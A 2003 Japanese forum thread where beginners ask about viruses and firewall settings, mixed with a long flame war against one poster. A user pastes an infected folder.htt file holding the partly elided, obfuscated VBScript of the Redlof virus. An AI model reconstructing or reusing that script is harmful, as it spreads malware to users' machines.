>>117

削除できないのが残ってたら（復元機能があるなら一旦無効にして）
セーフモードで削除してください。

>以前outpostfreeも勧められたのですがそれももっといい火壁ソフトが
>あるんでしょうか。。。


どんなファイヤーウォールで防げるウィルスは少数です。
ファイヤーウォールの問題ではありません。
PE_PARITE.Aに感染したのはファイヤーウォールが原因ではないですよ。
ただ、アンチドートは常駐型ウィルス対策ソフトでないのでWindows update
してなかったり、怪しいファイルを実行したり、ファイヤーウォールが
なかったりすれば感染の危険はあります。ＡＶＧなら常駐型ウィルス対策
ソフトなのでそういう危険は非常に少なくなるでしょう。

ＸＰです。
数日前，ＭＸにルーター・壁なしで接続してました。
すると，ASP.net MachineAというアカウントが作られていました。
ウイルス検索では，何も出てきませんでしたが，
あわてて壁の設定をして，そのアカウントは消しました。

これから何か障害が起こるでしょうか？
また，System Volume Informationに，アクセスできない状態なのですが，
これは，元々でしょうか・・・
対策等ありましたら，教えてください。

藪医者には気を付けましょう。
頼んでもいない薬まで、処方される危険が有ります。

>>119
そりゃXPでWindows Updateすると勝手に作られるアカウントだろ。

■■■■■■■■■■■■■重要■■■■■■■■■■■■■


質問される方は、
ttp://www.geocities.co.jp/SiliconValley-Sunnyvale/3094/
をよくお読みになってから質問してくださいね。



■■■■■■■■■■■■■重要■■■■■■■■■■■■■

246 名前： "削除"依頼 投稿日： 03/11/09 13:00 HOST:63.22.244.43.ap.livedoor.jp<8080><3128><8000><1080>

削除対象アドレス：
http://pc.2ch.net/test/read.cgi/sec/1068300966/27
http://pc.2ch.net/test/read.cgi/sec/1068300966/32

削除理由・詳細・その他：
偽スレ（重複スレ）への誘導目的でコテハン叩き目的で
混乱が起きる危険がありますので早急に削除願います。

247 名前： 削除屋＠悪魔のＺ ★ 投稿日： 03/11/10 10:48 ID:???

>>246
スレッド削除依頼が出ているので保留します。

＃先にそのスレッドの持っている問題を住民の方々で話しあわれたらどうでしょう。

へぇ，知りませんでした。
ﾊｽﾞｶｽｨ　

　＿|￣|○　

逝って来ます・・・

藪はlivedoorか……

>>114
アンチドート･･･??アンチウイルスとは違うんですかね･･･。分からない･･･
>>115
モデムのランプはついてますね

>>126
IEだけが繋がらない・メールソフト等も繋がらないのどっち？
DNSも駄目？

>>127
メールソフトはつながります
DNSは何なのか分からないです。

>>126

アンチドートはウィルス検査ソフトです。
有名なのが良ければトレンドマイクロオンラインスキャンでも
してきてください。

>>128
http://203.141.35.113/
YahooのIPアドレスだけど、これで表示されるならDNSの問題。
それでもダメなら別問題だね。

藪医者痛すぎ

>>119

>ASP.net MachineAというアカウントが作られていました。


それはMicrosoft .Net Frameworkをインストールするとできるそうです。
http://www.mvps.org/marksxp/windowsxp/aspdot.htm
>The aspnet_wp or ASP.NET Machine Account is created
>when the Microsoft .Net Framework 1.1 is installed onto
>a Windows XP computer.


>また，System Volume Informationに，アクセスできない状態なのですが，


XP proですか？私はXP homeなのでよくわかりませんが、
システムの復元を一旦無効にしてください。

>>132
>>121

検索遅すぎ。

>>132
ttp://www.asahi-net.or.jp/~fe3s-mrkm/
アスペルガー症候群について、ここで相談してみてください。

＞藪
ｶｷｺする前に重複するﾚｽがないか確認しろよｗ

自分以外のカキコは見てないんだろう

質問さえ読んでないからなー＞藪

藪パソ、これフリーペーパーに載ってたぞ。
あ、ネットランナーだった(w

XP proですか？私はXP homeなのでよくわかりませんが、
XP proですか？私はXP homeなのでよくわかりませんが、
XP proですか？私はXP homeなのでよくわかりませんが、

大きな態度取ってる割に知らない事も多い藪タソ

sage進行

藪が勘違いしてる所が手に負えないな。的外れなのに・・・

みんな、藪じゃなくて薮（やぶ）だよ。

藪じゃくなて薮蚊

遅くなりましたがレスありがとうございました。
リンク先を参照しながら色々調べてみたいと思います。

藪も読みは"やぶ"だよ

上げときます。

>>107

Windows updateは必ずしてください。特に米国時間の第二火曜日、つまり、
日本時間で明日。
それから、不要なアカウントやゲストアカウントもオフにしといて
ください。また、XP homeの場合、セーフモードで起動してAdministrator
アカウントにもパスワード設定してください。

このスレは>>1の自己満足の為だけに立てられました。
回答者は>>1しかいません。回答内容は自分でGoogleで検索すれば
わかる事か、または的外れで無駄な時間を費やす事になる内容ばかりです。

貴方の時間の節約の為に、ここで質問する前にGoogle等で検索してみましょう。
>>1の回答よりも適切な回答が得られる可能性が大です。

w2k,sp1適用,AVG-Anti-Virus導入済みで、
Windows MediaPLayer使用時に
□□■
□□□
□□□
上記の形のものが画面上に常にあるのですが、
これはウィルスなのでしょうか？
もしくはスパイウェアでしょうか？

除去するにはどうしたらよろしいでしょうか？
よろしくお願いいたします。

>>150
>>149

>>150

スパイウェアはad-awareとspybotでスキャンしてください。
ウィルスはアンチドートでスキャンしてください。
http://pc.2ch.net/test/read.cgi/sec/1003987914/504

それからWindowsはupdateしてください。
（WMPもupdeateしてください。）

薮パソユーザーは以下の自分の投稿の意味を説明してください。

67 名前：薮パソユーザー ◆0fQkHdNop2 [sage] 投稿日：03/10/24 22:30
>>　60
ステルスというだけでは実際はopenでもopenだという信号を止めて
いれば外部のポートスキャンだけではステルスなのでBlockしている
と評価されます。常識的にはステルスならBlockと思うが絶対の
保証はありません。openでもステルスにすればメリットがある
からです。
デフォルトで閉じるより（危険ではあっても）自由度があり、
しかも、相手普通のハッカーで手動で単に踏み台を適当に探している
だけなら応答がなければあきらめる可能性が非常に高いのでステルス
でさえあれば実際にはopenであっても効果はあります。
だから、outpostがステルスであってもopenでないとは断言でき
ません。常識的にはinboundはBlockされているとは思いますがね。
尚、outboundはBlockされていないのはほぼ確実でしょう。

薮パソユーザーはウィールスに感染するのはエロサイトに行く不注意
な人間だけだと主張しています。皆さんはどうお考えでしょうか？

☆ウィルス情報＆質問　総合スレッド☆Part14
http://pc.2ch.net/test/read.cgi/sec/1064028518/
一部のエロサイト等のアングラサイトのような危険なサイトにさえ
行かなければ悪質スクリプトコードや特に悪質なスパイウェアの心配は
ないでしょうから、軽微なスパイウェアは気にせず安全なサイトにしか
行かない人で注意深く用心してる人にはウィルス対策ソフトは不要とも
考えれます。

薮パソユーザーは自分の投稿の引用の削除依頼を出そうと
文面を推敲中です。

このスレはニセモノです。ここに質問を書き込まないでください。

本物のスレは↓です。
【正式】ウィルス情報＆質問　総合スレッド☆Part15

薮は以前こんなテンプレの次スレ立ててスレスト喰らったことがある。
「私はもうテンプレを貼りません。住人が勝手に立てて下さい〜」とか言って。

>ここは一応は初心者を対象としたセキュリティー関係の質問スレです。
>注意：ネットワークセキュリティ＠2ch掲示板は初心者に厳しい常連が多いです。
>以下の質問はここでは無視または攻撃対象にされる事があります。
>（１）セキュリティーに直接関係しない質問
>（２）ウィルスチェックをせずにする質問
>（３）Googleで検索せずにする質問
>（４）同様の質問を他所でしながらする質問（マルチ質問）
>（５）ＯＳ等の環境を明示せずにする質問
>ここで、質問する前に、
>（１）ウィルスチェックはされましたか？
>（２）Windows等のマイクロソフト製品利用者はマイクロソフトTechNetを
>http://www.microsoft.com/japan/technet/default.asp
>を御覧になりましたか？
>（３）Googleで検索されましたか？（Googleでヒットしたウィルス対策ソフト会社の
>サイトの方が確実な知識が入手できます。）
>精神衛生上、ここより他所で質問する方が良くはありませんか？
>たとえば、２ｃｈでもパソコン初心者＠2ch掲示板の
>http://pc2.2ch.net/pcqa/index.html
>「パソコン初心者板総合質問スレッド」または
>「エロサイト見たら・・・助けてください！」スレはいかがですか？

薮パソユーザーさんは>>153の質問に答えてください。

薮パソユーザーさんは以下の批判に対してどう思われますか。回答ねがいます。

セキュリティ初心者質問スレッドpart32
http://pc.2ch.net/test/read.cgi/sec/1066831852/780
質問に回答者が正確な誘導>>685してるところへ
　>>686
　> 信じて良いものやら？私には見当がつきません。
と「なんでも復元+意味なしバカレス」で割り込み。
知らないことにレスすんな、とたしなめられると
　>>717
　> 後では何とでも言えます。
と、自分が後から割り込んだくせに指摘者を誹謗。
他スレで「Windowsのパスワードの方がＢＩＯＳパスワードより強力」と電波
カキコ。アフォと指摘されると、
　>>686
　> Windowsのパスワードの場合にはHDDはずして盗んで帰って別の
　> パソコンにつながねばならず、手間が全然違います。これだと警察に
　> つかまりやすいので滅多に起きない事件でしょう。
とWindodwsのパスを無効にする方法を知らないことを暴露する薮電波をさらに発信
　>>694
　> まだしつこくデタラメ撒いてくれてますな。Windowsの管理者パスがBIOSパス
　> より強力だという理由はまったくない。
と証拠をあげて無知を暴露されると、
　>>699
　> ＨＤＤが１個、パーティションも１個という初心者に圧倒的に多い
と全然関係ないバカ理屈を並べて抵抗、それも通らなくなると、
772 名前：薮パソユーザー ◆0fQkHdNop2 [sage] 投稿日：03/11/06 10:41
　>>768
　> パソコン買ってすぐに脱初心者なのは少数でしょう。
　> 文系人間だったらだいたい３年くらいは初心者ですよ。
と、いわれのない差別発言で現在に至っております。

藪パソみたいな奴が新興宗教に入るんだろうね。

薮パソユーザーさん。あなたはこの警告に削除依頼を出してくれましたが、どこに
問題があったのですか？　全部本当のことではありませんか？　どこかに間違い
があるなら指摘してください。
?????????????????????????????　藪パソウィールス警告　????????????????????????????
粘着コテハンウィールス[薮パソユーザー ◆0fQkHdNop2]は2chセキュ板に感染
すると次のいずれかの活動を行います。

１　なんにでもアンチドートを勧める（危険度・低）
２　なんにでも復元ポイントを勧める（危険度・中）
３　ネットランナー今年の１月号の受け売り（危険度・中、アフォ度・高）
４　ピント外れ意味なしor大きなお世話or大恥カキコ（危険度・中、アフォ度・高）
５　大嘘を教える（危険度・高）
６　大嘘を指摘されると逆ギレして指摘者を誹謗（迷惑度・高）

現在のところ駆除・隔離に失敗。初心者および最近セキュ板に来た皆さんは十分
注意してください。（この警告のコピペを推奨します）
???????????????????????????????????????????????????????????????????????????????????

藪は字を読めません。妄想で勝手に解釈して書きこんでます。

dd

>>159
死ね

>>164
トリップ付け忘れてますよ

>>153-162
コピペ死ね

すみません。教えてください。
別な板で。間違えて、
//www2.strangeworld.org/slot/riko/img-box/2003043.jpg
をクリックをしてしまいました。
で、オンラインウイルスチェックしたら、HTML_SUAR.Aが発見されました

つたない知識で、調べた結果、その時のｐｃを不調にしてしまうもので
他の被害はないと判断しましたが、間違いないでしょうか？

とりあえず、対策としてはAVG Free Edition を導入し、ウイルスの削除と
今後の対策をしようと思っています。が、問題ないでしょうか？

ご教授下さい。よろしくお願いします。

>>167
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=HTML_SUAR.A

HTML_SUAR.Aで検出したものを全て削除してOK。
AVG Free Editionで一応はウイルス対策にはなります。

すみません。教えてください。
別な板で。間違えて、
//www2.strangeworld.org/slot/riko/img-box/2003043.jpg
をクリックをしてしまいました。
で、オンラインウイルスチェックしたら、HTML_SUAR.Aが発見されました

つたない知識で、調べた結果、その時のｐｃを不調にしてしまうもので
他の被害はないと判断しましたが、間違いないでしょうか？

とりあえず、対策としてはAVG Free Edition を導入し、ウイルスの削除と
今後の対策をしようと思っています。が、問題ないでしょうか？

ご教授下さい。よろしくお願いします。

なお、ウィルス情報＆質問　総合スレッド☆Part15と
マルチになっておりますが、お許し下さい。

げ！
２重書き込みになってるＴＴ
すみません。

>>168
どうも、ありがとうございました。

>>166
トリップがありませんが。

質問どうぞ。

>>172
薮パソユーザー氏、板を荒らさないで下さい。

?????????????????????????????　藪パソウィールス警告　????????????????????????????
粘着コテハンウィールス[薮パソユーザー ◆0fQkHdNop2]は2chセキュ板に感染
すると次のいずれかの活動を行います。

１　なんにでもアンチドートを勧める（危険度・低）
２　なんにでも復元ポイントを勧める（危険度・中）
３　ネットランナー今年の１月号の受け売り（危険度・中、アフォ度・高）
４　ピント外れ意味なしor大きなお世話or大恥カキコ（危険度・中、アフォ度・高）
５　大嘘を教える（危険度・高）
６　大嘘を指摘されると逆ギレして指摘者を誹謗（迷惑度・高）

現在のところ駆除・隔離に失敗。セキュ板住人を煽るスレを立ててスレスト喰らった事も。
初心者および最近セキュ板に来た皆さんは十分注意してください。
???????????????????????????????????????????????????????????????????????????????????

>>172
http://pc.2ch.net/test/read.cgi/sec/1068138433/l50

お前に対する質問たまってるぞ、キチガイ。

MEを使ってます。
今日気づいたんですが、PC中のおそらく全フォルダにfolder.httという
ハイパーテクスト（不明なアプリケーション）の隠しフォルダが作られてました
すべてが同じ日時で14707バイトのものでした
これってウィルスですよね？
ワードで開いたら、以下のような記述がありました
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<style>
body {margin: 0; font: menu; color: windowtext}
#Panel {position: absolute; width: 200px; height: 100%; visibility: hidden}
#Corner {padding-left: 12px; padding-right: 0px; padding-top: 11px}
#FolderIcon {width: 32px; height: 32px}
#FolderName {margin-top: 8px; font: 13pt/13pt menu; font-weight: bold}
#LogoLine {width: 100%; height: 2px; margin-top: 4px; vertical-align: top}
#Details {padding-left: 12px; padding-right: 0px; margin-top: 8px}
#Locked {vertical-align: baseline}
.Divider {width: 100%; color: #C0C0C0; height: 1px}
#Thumbnail {width: 120px; height: 120px}
.Legend {margin-left: 8px; margin-right: 0px}
p {margin-top: 12px}
p.Half {margin-top: 4px}
button {font: 9pt MS UI Gothic; margin-left: 12px; margin-right: 0px; background: window; color: windowtext}
.Message {width: 100%; frameBorder: 0; background: infobackground; color: infotext; border: 1px solid lightgrey}
#CSCPlusMin {width: 17px}
#CSCText {}
#CSCDetail {}
#CSCButton {}

#FileList {position:absolute; width:0; height:100%; border:0}

</style>
<body scroll=no>
<div id=Panel style="background: window URL(wvleft.gif) no-repeat left top">
<div id=Corner>
<object id=FolderIcon classid="clsid:844F4806-E8A8-11d2-9652-00C04FC30871" tabIndex=-1>
<param name="scale" value=100>
</object>
<br>
<div id=FolderName>
%THISDIRNAME%
</div>
</div>
<img id=LogoLine src="wvline.gif">
<div id=Details>
<span id=CSC>
<div tabIndex=2 id=CSCHotTrack>
<span id=CSCPlusMin>
</span>
<span id=CSCText>
</span>
</div>
<div id=CSCDetail>
</div>
<span id=CSCButton>
</span>
<hr CLASS=Divider NOSHADE>
</span>
<span id=Info>
</span>

<br>
<span id=MediaPlayerSpan>
</span>

<object id=Thumbnail classid="clsid:71650000-E8A8-11d2-9652-00C04FC30871" tabIndex=-1>
</object>
<label id=ThumbnailLabel for="Thumbnail" style="display: none">
</label>

<span id=Links>
</span>
</div>
</div>
<object id=FileList classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2" tabIndex=1>
</object>
<object id=WVCoord classid="clsid:BCFD624E-705A-11d2-A2AF-00C04FC30871">
</object>
</body>
</html>

<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px;
height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest
HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET>
</div>"
</script>
<script language=vbscript>
ExeString = "Daf IfPhej^,HlflT]qt,N[sT]qt,<^gr]^Si_g,AhileG[je[m,FKH,WkLhede,WagPala
Sm[E,>bnadrDikdKnb CC_slZrt CCSel=im CCCr]ZteEbli]n()KJDbkeAm()KJ
;keal^Maae()KJHkopY`at]!)>ndLub>nnclbonDJAhien\Mo(>bleHZth$Myp]Ltr!
OfErjhr J^sue^ N]qtLetKea\Memh= >LO.GienL^xt>ble ?il]Iat`%1)TmhLtr6 R]Zd
T]fp.J^ad9elBf Agstj!TmhLtr$KJWltajm() <60 Gk L]g(TeiStj <* T`^nKea\Memh'
（膨大なので中略）
vbCrLf&"KeyArr(2) = 8"&vbCrLf&"KeyArr(3) = 7"&vbCrLf&"For i=1 To Len(ExeString)"&
vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrL
&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mo
d 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"Els
eIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next")
Execute(ThisText)
</script>
</BODY>
</HTML>

以上です。
長々とすみませんが、よろしくお願いします。

scanしたの？

>>176
HTML.Redlof.Aじゃ　ヴぉけ
ウイルスのソース貼るな!!

すみませんでした。
先ほどスキャンしたら、やはりHTML.Redlof.A でした。
これを駆除するにはどうすればよいですか？
単純に検索削除でよいでしょうか？
どうか教えてくださいｍ（＿　＿）ｍ

駆除方法はそのｽｷｬﾝしたｻｲﾄに書いてあるはずなんだけど・・・

おまえ藪だろ＞176

>>181
マカフィーだと、VBS/Redlof@Mだな！

>>176

WindowsをupdateしてたらRedlofなんかには感染しないんですけどね。
毎月第二火曜の翌日はWindowsのupdateの日としてWindowsをupdate
してください。今日、駆除したらすぐにupdateしてきてください。

Redlofに詳しいサイト

トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=VBS_REDLOF.A
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionId=4700

シマンテック
http://www.symantec.com/region/jp/sarcj/data/h/html.redlof.a.html

ホームページを見ただけで感染するREDLOF.Aウィルス情報
http://members.jcom.home.ne.jp/aisora/subREDLOF.htm

個人が製作した無料ワクチンソフト・RedLofster　（自己責任でどうぞ）
http://hp.vector.co.jp/authors/VA029423/windows.htm

インストールについての質問はここでいいですか？

>>187

Windowsの再インストールは「パソコン初心者板総合質問スレッド」
http://pc2.2ch.net/test/read.cgi/pcqa/1068547517/l50

Windows updateは「緊急！　WindowsUpdateをしましょう！ 」
http://pc.2ch.net/test/read.cgi/sec/1060956936/l50

Linuxの場合は「初心者にも優しい総合質問スレ 」
http://pc.2ch.net/test/read.cgi/linux/1067437547/l50

Macの場合は「Mac初心者質問スレッド」
http://pc.2ch.net/test/read.cgi/mac/1068299273/l40

>>186
>毎月第二火曜の翌日はWindowsのupdateの日としてWindowsをupdate

この日じゃないとだめなんでしょうか

薮パソユーザー◆0fQkHdNop2 はセキュリティ初心者質問スレッドpart32
http://pc.2ch.net/test/read.cgi/sec/1066831852/686などで「Windowsの
管理者パスワードの方がBIOSパスワードより強力」という誤った主張を執拗に
くりかえしてきたところ「Windowsの管理者パスワードを簡単に無効にする方法
がある」と他の投稿者に指摘されました。薮パソユーザーは自ら検索もせず、
これに対して下記のような暴言を吐きました。

http://pc.2ch.net/test/read.cgi/sec/1068138433/55-56
名前：薮パソユーザー ◆0fQkHdNop2 [sage] 投稿日：03/11/11 20:47
> そういう手法が披露されてるＨＰはありますか？
> アホ臭くて物も言えない。
> 口だけならＮＡＳＡとかペンタゴンとかＣＩＡのサイトのハックに
> １分だとか何とでも言えますよ。

Windowsの管理者パスのクラック方法のソースをこういう場で公表するのが
適当か否かということが薮パソユーザーの頭では判断できないようです。
そこでこのマイクロソフト技術情報のページを紹介しておきます。

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/news/efs.asp
> Are there tools that allow an attacker to reset the Administrator account
> password to a known value?
> 攻撃者が管理者パスワードを任意の値に書き換えることができるツールが
> 存在しますか？
>
> Yes.
> イェス

薮パソユーザーは間違いに固執していたことを認め、暴言を謝罪しなさい。

以上の主旨はセキュリティ初心者質問スレッドpart33
http://pc.2ch.net/test/read.cgi/sec/1068471471/
に投稿しましたが「主旨は了解したが、このスレは薮立ち入り禁止」との指摘を
受けましたので、あらためてここに投稿します。

>>190

本当にしつこい馬鹿ですね。いたるところにコピペ貼って。

それはWindows2000のセキュリティーホールを利用したパスワード回避の
手口でしょ？Windows updateをちゃんとしてるパソコンに通用するの
ですか？本当に今でも通用するなら日本語サイトにも警告があるはずだと
思います。また、そういうツールをあなたは入手できますか？

デスクトップ機のBIOSパスワードはBIOSバックアップ用リチウム電池を
はずせば簡単に解除できます。３分で解除可能です。これはシロウトでも
できます。一部のノートパソコンでも電池をはずすかジャンパでBIOS
パスワード解除できます。

>>192
Link先の原文ちゃんと読んで書き込みしてるか？

>>192
先に引用したマイクロソフトの同じ資料の数行先に、次のような記述があります
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/news/efs.asp
> Do these tools represent a flaw in Windows 2000?
> これらの（管理パスワードを無効にする）ツールはWindows2000の
> 何らかの欠陥を表しているのですか？
>
> No.
> ノー　（以降詳細な理由の説明が続く）

薮パソユーザーは>>192
>　本当にしつこい馬鹿ですね。いたるところにコピペ貼って。
と暴言を吐くだけで指摘の根拠としてあげた資料を読もうともしていません。

薮パソユーザー ◆0fQkHdNop2 に虚偽の訂正と暴言の謝罪を要求します。

虚偽を流布し、根拠を挙げた指摘をいくら受けても暴言を吐くのみで虚偽に固執
することを繰り返す投稿者は「荒らし」以外のなにものでもありません。したがって
本人からの訂正と謝罪がないかぎり、荒らしに対する定型の警告を随時貼ることは
住民側の当然の自衛、抗議活動となるものと考えます。

>>150
遅レスだけど、それってmpeg2コーデック（体験版？）が出してるんじゃなかったかな
俺の場合期限が切れたら、そのマークが画面中をうろつき回りましたよ

少し頭を働かせれば、ちっとも不思議じゃないのに
http://pc.2ch.net/test/read.cgi/sec/1068471471/74
> >>65
>
> しかしルーター越えでポートスキャンされるのもめずらしいですね。
> ルーターに問題があるのでは？って明日これ見るかな？
> >>65氏のルーターはBRL-04AR ↓ですかね？
> http://www.sofmap.com/shop/product/tanpin.asp?PRDT_ID=1432995
> 不愉快だからレスしないつもりだったけど、あまりにめずらしいんで
> レスしてしまいました。

こないといっときながら
http://pc.2ch.net/test/read.cgi/sec/1068471471/80
> 80 ：薮パソユーザー ◆0fQkHdNop2 ：03/11/11 20:58
> まあ、できるかぎりここに出ずに皆さんの回答者としてのお手並み
> 拝見しましょうか？

既に回答付いてるのに横取り。
http://pc.2ch.net/test/read.cgi/sec/1068471471/112
> 112 ：薮パソユーザー ◆0fQkHdNop2 ：03/11/12 11:57
> 昨日の>>65氏の件ですが、>>82を見れば>>84氏や>>100氏の指摘のように
> その１台はWinnyのためにＤＭＺに接続してる可能性が高いですね。
> だとすればＩＰ変えても数分でＺＡの警告は出ますよ。
> ＺＡの警告が出ても防御しましたという報告だから気にする事はないですし
> 気になるならＤＭＺでなく普通の設定にすれば良いでしょう。（ただし、
> そうするとWinnyができなくなるかもしれませんが）

「以前にわかっていました。」（爆笑 小学生かお前は。
http://pc.2ch.net/test/read.cgi/sec/1068471471/116
> 118 ：薮パソユーザー ◆0fQkHdNop2 ：03/11/12 12:22
> >>116
>
> 私は、>>84氏や>>100氏以前にルーター越えのポートスキャンの
> 問題性を指摘してました。>>82を見て私もＤＭＺについてコメント
> しようとしたら、その時点ではアクセス規制で投稿できなかっただけです。

永久にアク禁にしたいよ。
http://pc.2ch.net/test/read.cgi/sec/1068471471/122
> よく言いますね。昨夜、一時、このスレにアクセス規制したくせに。

ここは後出しジャンケンで優越感を味わうスレですか？

薮はうざいからアク禁にしてやった。

アクセス禁止の理由はこれ。薮は精神鑑定してもらえ。
質問・雑談スレ 14＠運用情報板
http://qb3.2ch.net/test/read.cgi/operate/1067934488/649
> 649 名前：動け動けウゴウゴ２ちゃんねる[sage] 投稿日：03/11/11 17:47 ID:ar2P4yiW
> アクセス規制中です！！(0)
>
> ホストに　0 （ゼロ）があるとこの規制に引っかかって書けません。
> 現在原因究明中のようです。
> しばらく待つか、繋ぎ直しでIPが変わる人は繋ぎ直してみてください。

>>201
違います。薮パソに侵入&BIOS書き換えでアク禁にしました。

>>202
それは乙。今晩も頼む

>>192
名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 12:02
>>190
> 本当にしつこい馬鹿ですね。いたるところにコピペ貼って。

検索もせず自分の無知に固執して虚偽を流布していたのはあなたでしたね。
この暴言を取り消し、謝罪してください。でなければあなたは荒らしですよ。

薮パソユーザー様。まだお返事がいただけていませんが。

名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 12:02
>>190
> 本当にしつこい馬鹿ですね。いたるところにコピペ貼って。

このような誹謗、中傷、暴言にはあくまで取り消しと謝罪を要求して
まいりますからご承知おきください。

>>205
粘着だな

藪パソ　vs　謝罪

夕べは仕事の後ちょっとセキュ板覗いてからよその板に逝って
カキコしようとしたら「アク禁」と出たから正直ﾋﾞｯｸﾗこいたーよ。
まあすぐ動作報告スレにカキコしてみたら、お仲間がたくさんいて、
多分FOX★がcgiのアップデートでヴォケかましただけらしいと
わかったけどｗ

2ｃｈの動作報告はここで。 パート7
http://qb3.2ch.net/test/read.cgi/operate/1066276210/566-798
がみんな薮の敵のカキコだというなら…こりゃもうディルレヴァンガー
状態も近いな。

>>206
薮パソ、とうとうコテハンを取り下げるのか

>>208

>多分FOX★がcgiのアップデートでヴォケかましただけらしいと


ボケかましたって初心者スレ＠セキュ板の私のトリップだけ排除した
としか思えませんけどね。

藪パソの傾向
質問に答える（てきとうに）→ｺﾃﾊﾝ
叩きに反撃（ハンパに）→名無し

>>210
http://qb3.2ch.net/test/read.cgi/operate/1068541245/
の600辺りから見てみれば、昨日何が起こったのか分かるはずだが。

簡単に言えば、昨日は2回規制が行われた。
一回目にホストに0が含まれる人全員が規制。
二回目に●持ちしかかけなくなる規制。

そのどちらかに引っかかったんだろ。

何か書き込みするたびに、恥さらすのはやめれ。

ちなみに本当に規制されたかどうかは
http://qb3.2ch.net/sec2ch/
を見れば分かる。

>>210
薮パソユーザー様。まだお返事がいただけていませんが。

名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 12:02
>>190
> 本当にしつこい馬鹿ですね。いたるところにコピペ貼って。

このような誹謗、中傷、暴言にはあくまで取り消しと謝罪を要求して
まいりますからご承知おきください。

ｺﾃ名乗るの10年はやいぞ＞藪医者

＞薮パソユーザー ◆0fQkHdNop2さんへ
薮パソウィルスというものがセキュ板に蔓延して
回答者も質問者も困惑しているのですが、
これを駆除する名案はないでしょうか。
お力をお貸し下さい。

アンチドートでスキャンしてください。

ANTIDOTE for PC Viruses - SuperLite 　（＠vector）
http://www.vector.co.jp/soft/win95/util/se108623.html
↑これは、1番上のボタン押して、圧縮ファイル・電子メール確認
のチェックボックスにチェック入れてＨＤＤを検査する。
（通常はローカルディスクＣ）
それから、最初に戻って上から３つ目のボタンクリックして
レジストリチェック。
検査が終了すれば最初の画面のプルダウンメニューで終了を選ぶ。

すいません、教えてください。
一週間くらい前からデスクトップに変なショートカットが作成されました。

名前　　~
種類　　ファイル
サイズ　183k

こまめに更新されているようです。
何回削除しても作成されます。

おまえ「me」だろ。散々既出、検索ぐらい覚えろ。

>>218
リンクを辿って元ファイルを削除（Safeモードなりなんなりで）

>>218
板違いです。以下へ移動して下さい。

Outlook Express
http://pc2.2ch.net/test/read.cgi/software/1013383300/

>>218
こちらのトップページにあります。
http://winfaq.jp/

参考
http://www.cs.kyoto-wu.ac.jp/~mizuno/mizuno-daigaku-tsushin-1.html
http://www.cs.kyoto-wu.ac.jp/~mizuno/mizuno-daigaku-tsushin-2.html
http://www.cs.kyoto-wu.ac.jp/~mizuno/mizuno-daigaku-tsushin-3.html

>>222さん
[ショートカット] タブの「作業フォルダ」に、~ ファイルを作成するフォルダのパスを記入します。
どうパスを変更すれば良いのでしょうか？

>>219-223さん
解決しました。
スレ違いどうもすみませんでした。

>>214
しつこく嫌がらせをして、相手が怒ると恐喝かよ（ｗ
ヤの手口だな（ｗ

指摘されてその後逃げちゃったからな。

上げときます。

どうして重箱の隅をつつくようなことにはレスするのに
都合の悪いことにはレスしないんですか？
例：Outpost関連、fd/cd boots linux、11/11のアクセス規制について等々

藪パソユーザーさん。あなたはマイクロソフトの技術情報をあげて
虚偽を指摘されても（http://pc.2ch.net/test/read.cgi/sec/1068471471/02）
取り消そうとしないばかりか、

http://pc.2ch.net/test/read.cgi/sec/1068471471/110
名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
> 本当にしつこい馬鹿がいますね。

等々の暴言を吐いています。（これはあなたの嘘、暴言のほんの一例ですよ）

このような「コテハンで嘘をつき、指摘されても平然と固執、指摘者を罵倒」
というような状態が続くようでは質問板の機能にも悪影響があることは明らか
ですので、薮パソユーザー ◆0fQkHdNop2 さんには虚偽の取り消しと暴言の
謝罪をお願いしてまいりました。

残念ながらまだ回答をいただいておりません。ことの重要性を考慮し、ご回答を
いただけるまでお願いを続けさせていただきますのでご承知おきください。また
このような問題を初心者、部外者のみなさんに周知する必要があるとも考えて
おりますのであわせてご承知ください。

>>229

スレ違いです。
Outpost関連→outpostスレ
fd/cd boots linux、11/11のアクセス規制→初心者スレ

>>230

スレ違いです。→初心者スレ

>>229
藪パソは自分の荒らしが原因でアク禁くらったと妄想して
質問・雑談スレ 14＠運用情報板
http://qb3.2ch.net/test/read.cgi/operate/1067934488/849
> 昨夜、ホスト規制の後にこのスレ↓で私のトリップ狙い撃ちでcgi規制
> されませんでしたか？
> 私は初心者スレ↑で初心者にまじめに正しい回答をしてたら
> 回答できない馬鹿な名無し常連にねたまれて叩かれてます。
> おまけに、cgi規制があったというと被害妄想扱いされて困ってます。

スレにアフォを書き込む（実際はcgiアップデートのミス。2chの広い
範囲で書き込めなくなっていた）

呆れた住人に
http://qb3.2ch.net/test/read.cgi/operate/1067934488/857
857 名前：動け動けウゴウゴ２ちゃんねる[sage] 投稿日：03/11/12 16:13 ID:lfESJuAj
>>849
> 回答できない馬鹿な名無し常連に妬まれて、などという事を仰っていては、
> 妬まれても仕方が無いのでは？と外野からは見えてしまいますが。
>
> どちらにしろ、コンフィギレーションエラーはたまにあります。
> 同様な目にあった人がこのスレですら存在しています。
> 自意識過剰すぎですよ。

とたしなめれていた。しかもその後も「自分が狙い撃ちにされた」と妄想に
固執。こういう脳内構造してる回答者の回答には皆さんご注意、だなｗｗｗ

こんなメールが来ていましたがどうでしょうか？
まだ開いていません。


送信者 日　付 件　　　名 サイズ
